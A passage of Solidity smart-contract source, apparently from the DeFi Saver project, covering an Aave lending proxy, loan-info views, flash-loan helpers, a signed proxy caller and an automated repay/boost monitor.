{ if (_fromProtocol == Protocols.COMPOUND) { return CTokenInterface(_address).underlying(); } else if (_fromProtocol == Protocols.MCD) { return DAI_ADDRESS; } else { return address(0); } } function _packData( LoanShiftData memory _loanShift, SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (uint[8] memory numData, address[8] memory addrData, uint8[3] memory enumData, bytes memory callData) { numData = [ _loanShift.collAmount, _loanShift.debtAmount, _loanShift.id1, _loanShift.id2, exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x ]; addrData = [ _loanShift.addrLoan1, _loanShift.addrLoan2, _loanShift.debtAddr1, _loanShift.debtAddr2, exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper ]; enumData = [ uint8(_loanShift.fromProtocol), uint8(_loanShift.toProtocol), uint8(_loanShift.swapType) ]; callData = exchangeData.callData; } } contract ShifterRegistry is AdminAuth { mapping (string => address) public contractAddresses; bool public finalized; function changeContractAddr(string memory _contractName, address _protoAddr) public onlyOwner { require(!finalized); contractAddresses[_contractName] = _protoAddr; } function lock() public onlyOwner { finalized = true; } function getAddr(string memory _contractName) public view returns (address contractAddr) { contractAddr = contractAddresses[_contractName]; require(contractAddr != address(0), "No contract address registred"); } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract DFSProxy is Auth { string public constant NAME = "DFSProxy"; string public constant VERSION = "v0.1"; mapping(address => mapping(uint => bool)) public nonces; // --- EIP712 niceties --- bytes32 public DOMAIN_SEPARATOR; bytes32 public constant PERMIT_TYPEHASH = keccak256("callProxy(address _user,address _proxy,address _contract,bytes _txData,uint256 _nonce)"); constructor(uint256 chainId_) public { DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(NAME)), keccak256(bytes(VERSION)), chainId_, address(this) )); } function callProxy(address _user, address _proxy, address _contract, bytes calldata _txData, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) external payable onlyAuthorized { bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, _user, _proxy, _contract, _txData, _nonce)) )); // user must be proxy owner require(DSProxyInterface(_proxy).owner() == _user); require(_user == ecrecover(digest, _v, _r, _s), "DFSProxy/user-not-valid"); require(!nonces[_user][_nonce], "DFSProxy/invalid-nonce"); nonces[_user][_nonce] = true; DSProxyInterface(_proxy).execute{value: msg.value}(_contract, _txData); } } contract DebugInfo { mapping (string => uint) public uintValues; mapping (string => address) public addrValues; mapping (string => string) public stringValues; mapping (string => bytes32) public bytes32Values; function logUint(string memory _id, uint _value) public { uintValues[_id] = _value; } function logAddr(string memory _id, address _value) public { addrValues[_id] = _value; } function logString(string memory _id, string memory _value) public { stringValues[_id] = _value; } function logBytes32(string memory _id, bytes32 _value) public { bytes32Values[_id] = _value; } } contract Discount { address public owner; mapping(address => CustomServiceFee) public serviceFees; uint256 constant MAX_SERVICE_FEE = 400; struct CustomServiceFee { bool active; uint256 amount; } constructor() public { owner = msg.sender; } function isCustomFeeSet(address _user) public view returns (bool) { return serviceFees[_user].active; } function getCustomServiceFee(address _user) public view returns (uint256) { return serviceFees[_user].amount; } function setServiceFee(address _user, uint256 _fee) public { require(msg.sender == owner, "Only owner"); require(_fee >= MAX_SERVICE_FEE || _fee == 0); serviceFees[_user] = CustomServiceFee({active: true, amount: _fee}); } function disableServiceFee(address _user) public { require(msg.sender == owner, "Only owner"); serviceFees[_user] = CustomServiceFee({active: false, amount: 0}); } } contract DydxFlashLoanBase { using SafeMath for uint256; address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; function _getMarketIdFromTokenAddress(address token) internal view returns (uint256) { return 0; } function _getRepaymentAmountInternal(uint256 amount) internal view returns (uint256) { // Needs to be overcollateralize // Needs to provide +2 wei to be safe return amount.add(2); } function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getWithdrawAction(uint marketId, uint256 amount, address contractAddr) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data, address contractAddr) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: data }); } function _getDepositAction(uint marketId, uint256 amount, address contractAddr) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: "" }); } } contract ExchangeDataParser { function decodeExchangeData( SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (address[4] memory, uint[4] memory, bytes memory) { return ( [exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper], [exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x], exchangeData.callData ); } function encodeExchangeData( address[4] memory exAddr, uint[4] memory exNum, bytes memory callData ) internal pure returns (SaverExchangeCore.ExchangeData memory) { return SaverExchangeCore.ExchangeData({ srcAddr: exAddr[0], destAddr: exAddr[1], srcAmount: exNum[0], destAmount: exNum[1], minPrice: exNum[2], wrapper: exAddr[3], exchangeAddr: exAddr[2], callData: callData, price0x: exNum[3] }); } } interface IFlashLoanReceiver { function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external; } abstract contract ILendingPoolAddressesProvider { function getLendingPool() public view virtual returns (address); function setLendingPoolImpl(address _pool) public virtual; function getLendingPoolCore() public virtual view returns (address payable); function setLendingPoolCoreImpl(address _lendingPoolCore) public virtual; function getLendingPoolConfigurator() public virtual view returns (address); function setLendingPoolConfiguratorImpl(address _configurator) public virtual; function getLendingPoolDataProvider() public virtual view returns (address); function setLendingPoolDataProviderImpl(address _provider) public virtual; function getLendingPoolParametersProvider() public virtual view returns (address); function setLendingPoolParametersProviderImpl(address _parametersProvider) public virtual; function getTokenDistributor() public virtual view returns (address); function setTokenDistributor(address _tokenDistributor) public virtual; function getFeeProvider() public virtual view returns (address); function setFeeProviderImpl(address _feeProvider) public virtual; function getLendingPoolLiquidationManager() public virtual view returns (address); function setLendingPoolLiquidationManager(address _manager) public virtual; function getLendingPoolManager() public virtual view returns (address); function setLendingPoolManager(address _lendingPoolManager) public virtual; function getPriceOracle() public virtual view returns (address); function setPriceOracle(address _priceOracle) public virtual; function getLendingRateOracle() public view virtual returns (address); function setLendingRateOracle(address _lendingRateOracle) public virtual; } library EthAddressLib { function ethAddress() internal pure returns(address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; } } abstract contract FlashLoanReceiverBase is IFlashLoanReceiver { using SafeERC20 for ERC20; using SafeMath for uint256; ILendingPoolAddressesProvider public addressesProvider; constructor(ILendingPoolAddressesProvider _provider) public { addressesProvider = _provider; } receive () external virtual payable {} function transferFundsBackToPoolInternal(address _reserve, uint256 _amount) internal { address payable core = addressesProvider.getLendingPoolCore(); transferInternal(core,_reserve, _amount); } function transferInternal(address payable _destination, address _reserve, uint256 _amount) internal { if(_reserve == EthAddressLib.ethAddress()) { //solium-disable-next-line _destination.call{value: _amount}(""); return; } ERC20(_reserve).safeTransfer(_destination, _amount); } function getBalanceInternal(address _target, address _reserve) internal view returns(uint256) { if(_reserve == EthAddressLib.ethAddress()) { return _target.balance; } return ERC20(_reserve).balanceOf(_target); } } contract GasBurner { // solhint-disable-next-line const-name-snakecase GasTokenInterface public constant gasToken = GasTokenInterface(0x0000000000b3F879cb30FE243b4Dfee438691c04); modifier burnGas(uint _amount) { if (gasToken.balanceOf(address(this)) >= _amount) { gasToken.free(_amount); } _; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. */ function safeApprove(ERC20 token, address spender, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(ERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ZrxAllowlist is AdminAuth { mapping (address => bool) public zrxAllowlist; function setAllowlistAddr(address _zrxAddr, bool _state) public onlyOwner { zrxAllowlist[_zrxAddr] = _state; } function isZrxAddr(address _zrxAddr) public view returns (bool) { return zrxAllowlist[_zrxAddr]; } } contract AaveBasicProxy is GasBurner { using SafeERC20 for ERC20; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant AAVE_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8; uint16 public constant AAVE_REFERRAL_CODE = 64; /// @notice User deposits tokens to the Aave protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _tokenAddr The address of the token to be deposited /// @param _amount Amount of tokens to be deposited function deposit(address _tokenAddr, uint256 _amount) public burnGas(5) payable { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); uint ethValue = _amount; if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); approveToken(_tokenAddr, lendingPoolCore); ethValue = 0; } ILendingPool(lendingPool).deposit{value: ethValue}(_tokenAddr, _amount, AAVE_REFERRAL_CODE); setUserUseReserveAsCollateralIfNeeded(_tokenAddr); } /// @notice User withdraws tokens from the Aave protocol /// @param _tokenAddr The address of the token to be withdrawn /// @param _aTokenAddr ATokens to be withdrawn /// @param _amount Amount of tokens to be withdrawn /// @param _wholeAmount If true we will take the whole amount on chain function withdraw(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeAmount) public burnGas(8) { uint256 amount = _wholeAmount ? ERC20(_aTokenAddr).balanceOf(address(this)) : _amount; IAToken(_aTokenAddr).redeem(amount); withdrawTokens(_tokenAddr); } /// @notice User borrows tokens to the Aave protocol /// @param _tokenAddr The address of the token to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _type Send 1 for variable rate and 2 for fixed rate function borrow(address _tokenAddr, uint256 _amount, uint256 _type) public burnGas(8) { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); ILendingPool(lendingPool).borrow(_tokenAddr, _amount, _type, AAVE_REFERRAL_CODE); withdrawTokens(_tokenAddr); } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Aave protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _aTokenAddr ATokens to be paybacked /// @param _amount Amount of tokens to be payed back /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function payback(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeDebt) public burnGas(3) payable { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); uint256 amount = _amount; if (_wholeDebt) { (,amount,,,,,,,,) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, address(this)); } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amount); approveToken(_tokenAddr, lendingPoolCore); } ILendingPool(lendingPool).repay{value: msg.value}(_tokenAddr, amount, payable(address(this))); withdrawTokens(_tokenAddr); } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Aave protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _aTokenAddr ATokens to be paybacked /// @param _amount Amount of tokens to be payed back /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function paybackOnBehalf(address _tokenAddr, address _aTokenAddr, uint256 _amount, bool _wholeDebt, address payable _onBehalf) public burnGas(3) payable { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); uint256 amount = _amount; if (_wholeDebt) { (,amount,,,,,,,,) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, _onBehalf); } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), amount); approveToken(_tokenAddr, lendingPoolCore); } ILendingPool(lendingPool).repay{value: msg.value}(_tokenAddr, amount, _onBehalf); withdrawTokens(_tokenAddr); } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { uint256 amount = _tokenAddr == ETH_ADDR ? address(this).balance : ERC20(_tokenAddr).balanceOf(address(this)); if (amount > 0) { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, amount); } else { msg.sender.transfer(amount); } } } /// @notice Approves token contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _caller Address which will gain the approval function approveToken(address _tokenAddr, address _caller) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_caller, 0); ERC20(_tokenAddr).safeApprove(_caller, uint256(-1)); } } function setUserUseReserveAsCollateralIfNeeded(address _tokenAddr) public { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); (,,,,,,,,,bool collateralEnabled) = ILendingPool(lendingPool).getUserReserveData(_tokenAddr, address(this)); if (!collateralEnabled) { ILendingPool(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, true); } } function setUserUseReserveAsCollateral(address _tokenAddr, bool _true) public { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); ILendingPool(lendingPool).setUserUseReserveAsCollateral(_tokenAddr, _true); } function swapBorrowRateMode(address _reserve) public { address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); ILendingPool(lendingPool).swapBorrowRateMode(_reserve); } } contract AaveLoanInfo is AaveSafetyRatio { struct LoanData { address user; uint128 ratio; address[] collAddr; address[] borrowAddr; uint256[] collAmounts; uint256[] borrowAmounts; } struct TokenInfo { address aTokenAddress; address underlyingTokenAddress; uint256 collateralFactor; uint256 price; } struct TokenInfoFull { address aTokenAddress; address underlyingTokenAddress; uint256 supplyRate; uint256 borrowRate; uint256 totalSupply; uint256 availableLiquidity; uint256 totalBorrow; uint256 collateralFactor; uint256 price; bool usageAsCollateralEnabled; } /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _user Address of the user function getRatio(address _user) public view returns (uint256) { // For each asset the account is in return getSafetyRatio(_user); } /// @notice Fetches Aave prices for tokens /// @param _tokens Arr. of tokens for which to get the prices /// @return prices Array of prices function getPrices(address[] memory _tokens) public view returns (uint256[] memory prices) { address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); prices = new uint[](_tokens.length); for (uint256 i = 0; i < _tokens.length; ++i) { prices[i] = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokens[i]); } } /// @notice Fetches Aave collateral factors for tokens /// @param _tokens Arr. of tokens for which to get the coll. factors /// @return collFactors Array of coll. factors function getCollFactors(address[] memory _tokens) public view returns (uint256[] memory collFactors) { address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); collFactors = new uint256[](_tokens.length); for (uint256 i = 0; i < _tokens.length; ++i) { (,collFactors[i],,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokens[i]); } } function getTokenBalances(address _user, address[] memory _tokens) public view returns (uint256[] memory balances, uint256[] memory borrows, bool[] memory enabledAsCollateral) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); balances = new uint256[](_tokens.length); borrows = new uint256[](_tokens.length); enabledAsCollateral = new bool[](_tokens.length); for (uint256 i = 0; i < _tokens.length; i++) { address asset = _tokens[i]; (balances[i], borrows[i],,,,,,,,enabledAsCollateral[i]) = ILendingPool(lendingPoolAddress).getUserReserveData(asset, _user); } } /// @notice Calcualted the ratio of coll/debt for an aave user /// @param _users Addresses of the user /// @return ratios Array of ratios function getRatios(address[] memory _users) public view returns (uint256[] memory ratios) { ratios = new uint256[](_users.length); for (uint256 i = 0; i < _users.length; ++i) { ratios[i] = getSafetyRatio(_users[i]); } } /// @notice Information about reserves /// @param _tokenAddresses Array of tokens addresses /// @return tokens Array of reserves infomartion function getTokensInfo(address[] memory _tokenAddresses) public view returns(TokenInfo[] memory tokens) { address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); tokens = new TokenInfo[](_tokenAddresses.length); for (uint256 i = 0; i < _tokenAddresses.length; ++i) { (,uint256 ltv,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokenAddresses[i]); tokens[i] = TokenInfo({ aTokenAddress: ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(_tokenAddresses[i]), underlyingTokenAddress: _tokenAddresses[i], collateralFactor: ltv, price: IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddresses[i]) }); } } /// @notice Information about reserves /// @param _tokenAddresses Array of token addresses /// @return tokens Array of reserves infomartion function getFullTokensInfo(address[] memory _tokenAddresses) public view returns(TokenInfoFull[] memory tokens) { address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); tokens = new TokenInfoFull[](_tokenAddresses.length); for (uint256 i = 0; i < _tokenAddresses.length; ++i) { (,uint256 ltv,,bool usageAsCollateralEnabled) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokenAddresses[i]); tokens[i] = TokenInfoFull({ aTokenAddress: ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(_tokenAddresses[i]), underlyingTokenAddress: _tokenAddresses[i], supplyRate: ILendingPool(lendingPoolCoreAddress).getReserveCurrentLiquidityRate(_tokenAddresses[i]), borrowRate: ILendingPool(lendingPoolCoreAddress).getReserveCurrentVariableBorrowRate(_tokenAddresses[i]), totalSupply: ILendingPool(lendingPoolCoreAddress).getReserveTotalLiquidity(_tokenAddresses[i]), availableLiquidity: ILendingPool(lendingPoolCoreAddress).getReserveAvailableLiquidity(_tokenAddresses[i]), totalBorrow: ILendingPool(lendingPoolCoreAddress).getReserveTotalBorrowsVariable(_tokenAddresses[i]), collateralFactor: ltv, price: IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddresses[i]), usageAsCollateralEnabled: usageAsCollateralEnabled }); } } /// @notice Fetches all the collateral/debt address and amounts, denominated in ether /// @param _user Address of the user /// @return data LoanData information function getLoanData(address _user) public view returns (LoanData memory data) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); address[] memory reserves = ILendingPool(lendingPoolAddress).getReserves(); data = LoanData({ user: _user, ratio: 0, collAddr: new address[](reserves.length), borrowAddr: new address[](reserves.length), collAmounts: new uint[](reserves.length), borrowAmounts: new uint[](reserves.length) }); uint64 collPos = 0; uint64 borrowPos = 0; for (uint64 i = 0; i < reserves.length; i++) { address reserve = reserves[i]; (uint256 aTokenBalance, uint256 borrowBalance,,,,,,,,) = ILendingPool(lendingPoolAddress).getUserReserveData(reserve, _user); uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(reserves[i]); if (aTokenBalance > 0) { uint256 userTokenBalanceEth = wmul(aTokenBalance, price); data.collAddr[collPos] = reserve; data.collAmounts[collPos] = userTokenBalanceEth; collPos++; } // Sum up debt in Eth if (borrowBalance > 0) { uint256 userBorrowBalanceEth = wmul(borrowBalance, price); data.borrowAddr[borrowPos] = reserve; data.borrowAmounts[borrowPos] = userBorrowBalanceEth; borrowPos++; } } data.ratio = uint128(getSafetyRatio(_user)); return data; } /// @notice Fetches all the collateral/debt address and amounts, denominated in ether /// @param _users Addresses of the user /// @return loans Array of LoanData information function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) { loans = new LoanData[](_users.length); for (uint i = 0; i < _users.length; ++i) { loans[i] = getLoanData(_users[i]); } } } contract AaveMonitor is AdminAuth, DSMath, AaveSafetyRatio, GasBurner { using SafeERC20 for ERC20; enum Method { Boost, Repay } uint public REPAY_GAS_TOKEN = 19; uint public BOOST_GAS_TOKEN = 19; uint public MAX_GAS_PRICE = 200000000000; // 200 gwei uint public REPAY_GAS_COST = 2000000; uint public BOOST_GAS_COST = 2000000; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; AaveMonitorProxy public aaveMonitorProxy; AaveSubscriptions public subscriptionsContract; address public aaveSaverProxy; DefisaverLogger public logger = DefisaverLogger(DEFISAVER_LOGGER); /// @dev Addresses that are able to call methods for repay and boost mapping(address => bool) public approvedCallers; modifier onlyApproved() { require(approvedCallers[msg.sender]); _; } /// @param _aaveMonitorProxy Proxy contracts that actually is authorized to call DSProxy /// @param _subscriptions Subscriptions contract for Aave positions /// @param _aaveSaverProxy Contract that actually performs Repay/Boost constructor(address _aaveMonitorProxy, address _subscriptions, address _aaveSaverProxy) public { approvedCallers[msg.sender] = true; aaveMonitorProxy = AaveMonitorProxy(_aaveMonitorProxy); subscriptionsContract = AaveSubscriptions(_subscriptions); aaveSaverProxy = _aaveSaverProxy; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _user The actual address that owns the Aave position function repayFor( SaverExchangeCore.ExchangeData memory _exData, address _user ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(REPAY_GAS_COST); aaveMonitorProxy.callExecute{value: msg.value}( _user, aaveSaverProxy, abi.encodeWithSignature( "repay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", _exData, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticAaveRepay", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _user The actual address that owns the Aave position function boostFor( SaverExchangeCore.ExchangeData memory _exData, address _user ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(BOOST_GAS_COST); aaveMonitorProxy.callExecute{value: msg.value}( _user, aaveSaverProxy, abi.encodeWithSignature( "boost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", _exData, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticAaveBoost", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by AaveMonitor to enforce the min/max check /// @param _method Type of action to be called /// @param _user The actual address that owns the Aave position /// @return Boolean if it can be called and the ratio function canCall(Method _method, address _user) public view returns(bool, uint) { bool subscribed = subscriptionsContract.isSubscribed(_user); AaveSubscriptions.AaveHolder memory holder = subscriptionsContract.getHolder(_user); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call /// @param _method Type of action to be called /// @param _user The actual address that owns the Aave position /// @return Boolean if the recent action preformed correctly and the ratio function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) { AaveSubscriptions.AaveHolder memory holder; holder= subscriptionsContract.getHolder(_user); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = 